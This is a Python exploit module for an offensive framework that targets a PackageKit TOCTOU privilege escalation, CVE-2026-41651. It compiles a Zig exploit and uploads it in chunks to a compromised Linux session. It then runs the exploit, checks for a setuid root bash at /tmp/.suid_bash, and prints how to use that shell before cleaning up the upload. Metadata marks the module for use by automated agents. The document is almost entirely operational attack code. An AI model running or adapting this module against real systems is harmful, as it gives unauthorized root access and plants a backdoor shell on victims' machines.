PackageKit TOCTOU Local Privilege Escalation (CVE-2026-41651)

from kittysploit import *
from core.framework.post import Post
from core.lib.compiler.zig_compiler import ZigCompiler
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin
import os
import base64
import tempfile
from pathlib import Path

class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        "name": "PackageKit TOCTOU Local Privilege Escalation (CVE-2026-41651)",
        "description": "This module exploits a TOCTOU vulnerability in PackageKit to achieve local privilege escalation. It compiles a Zig exploit, uploads it to the target, and executes it.",
        "author": ["Ashif Iqubal", "Antigravity"],
        "platform": [Platform.LINUX],
        "session_type": [SessionType.SHELL, SessionType.SSH],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-41651",
            "https://github.com/advisories/GHSA-m8v8-2p2c-5v5m"
        ],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': ['rce', 'shell', 'file_read'],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    target_arch = OptString("x64", "Target architecture (x64, x86, arm64)", required=True)
    remote_path = OptString("/tmp/.pk_exploit", "Remote path to upload the exploit", required=True)

    def run(self):
        """Execute the post-exploitation exploit"""
        if not self.linux_require_linux():
            return False

        print_status(f"Starting LPE for CVE-2026-41651 on session {self.session_id}")

        # 1. Prepare Zig source
        # Using __file__ to find the sibling zig file
        zig_file_path = Path(__file__).parent / "cve_2026_41651.zig"
        if not zig_file_path.exists():
            print_error(f"Zig source file not found at {zig_file_path}")
            return False

        with open(zig_file_path, "r") as f:
            zig_source = f.read()

        # 2. Compile Zig source
        print_status(f"Compiling Zig exploit for {self.target_arch}...")
        
        # Ensure the compiler module is reloaded to include our recent changes (extra_args support)
        import importlib
        import core.lib.compiler.zig_compiler
        importlib.reload(core.lib.compiler.zig_compiler)
        from core.lib.compiler.zig_compiler import ZigCompiler
        
        compiler = ZigCompiler()
        if not compiler.is_available():
            print_error("Zig compiler not found. Please install Zig.")
            return False

        # Get C flags and libs for glib/gio
        import subprocess
        extra_args = ["-lc"]
        # Add system library paths
        extra_args.extend(["-L/usr/lib/x86_64-linux-gnu", "-L/usr/lib64", "-L/usr/lib"])
        
        try:
            pkg_config = subprocess.run(
                ["pkg-config", "--cflags", "--libs", "glib-2.0", "gio-2.0"],
                capture_output=True, text=True, check=True
            )
            # Filter out flags that Zig doesn't recognize (like -pthread)
            raw_flags = pkg_config.stdout.split()
            filtered_flags = [f for f in raw_flags if f != "-pthread"]
            extra_args.extend(filtered_flags)
        except Exception as e:
            print_warning(f"Failed to get pkg-config flags: {e}. Falling back to hardcoded paths.")
            extra_args.extend([
                "-I/usr/include/glib-2.0",
                "-I/usr/lib/x86_64-linux-gnu/glib-2.0/include",
                "-I/usr/include/libmount",
                "-I/usr/include/blkid",
                "-lgio-2.0", "-lgobject-2.0", "-lglib-2.0"
            ])

        with tempfile.TemporaryDirectory() as tmp_dir:
            local_bin_path = os.path.join(tmp_dir, "exploit")
            success = compiler.compile(
                source_code=zig_source,
                output_path=local_bin_path,
                target_platform="linux",
                target_arch=self.target_arch,
                optimization="ReleaseSmall",
                strip=True,
                static=True,
                extra_args=extra_args
            )

            if not success:
                print_error("Failed to compile Zig exploit.")
                return False

            # 3. Upload binary
            print_status(f"Uploading binary to {self.remote_path}...")
            with open(local_bin_path, "rb") as f:
                binary_data = f.read()

            # Encode binary to base64 for safe upload
            encoded_data = base64.b64encode(binary_data).decode()
            
            # Use base64 command on target if available
            if self.command_exists("base64"):
                chunk_size = 4096
                self.linux_execute(f"rm -f {self.remote_path}.b64")
                for i in range(0, len(encoded_data), chunk_size):
                    chunk = encoded_data[i:i+chunk_size]
                    self.linux_execute(f"printf '{chunk}' >> {self.remote_path}.b64")
                
                self.linux_execute(f"base64 -d {self.remote_path}.b64 > {self.remote_path}")
                self.linux_execute(f"rm -f {self.remote_path}.b64")
            else:
                print_warning("base64 not found on target, falling back to hex upload...")
                hex_data = binary_data.hex()
                self.linux_execute(f"rm -f {self.remote_path}")
                chunk_size = 1024
                for i in range(0, len(hex_data), chunk_size):
                    chunk = hex_data[i:i+chunk_size]
                    hex_formatted = "".join(["\\x" + chunk[j:j+2] for j in range(0, len(chunk), 2)])
                    self.linux_execute(f"printf '{hex_formatted}' >> {self.remote_path}")

            # 4. Set executable permissions
            self.chmod_x(self.remote_path)

            # 5. Execute exploit
            print_status("Executing exploit on target...")
            output = self.linux_execute(f"{self.remote_path}")
            if output:
                print_info(output)

            # 6. Check for success
            print_status("Checking for root shell...")
            if self.file_exist("/tmp/.suid_bash"):
                print_success("Exploit successful! Root shell created at /tmp/.suid_bash")
                print_info("You can now execute commands as root using: /tmp/.suid_bash -p -c '<command>'")
            else:
                print_error("Exploit failed to create root shell.")

            # 7. Cleanup
            print_status("Cleaning up...")
            self.file_rm(self.remote_path)
            
            return True

    def check(self):
        """Check if target is likely vulnerable"""
        # Check if PackageKit is present
        if not self.command_exists("pkcon") and not self.file_exist("/usr/libexec/packagekitd"):
            print_warning("PackageKit not detected on target.")
            return False
            
        print_status("PackageKit detected, target might be vulnerable.")
        return True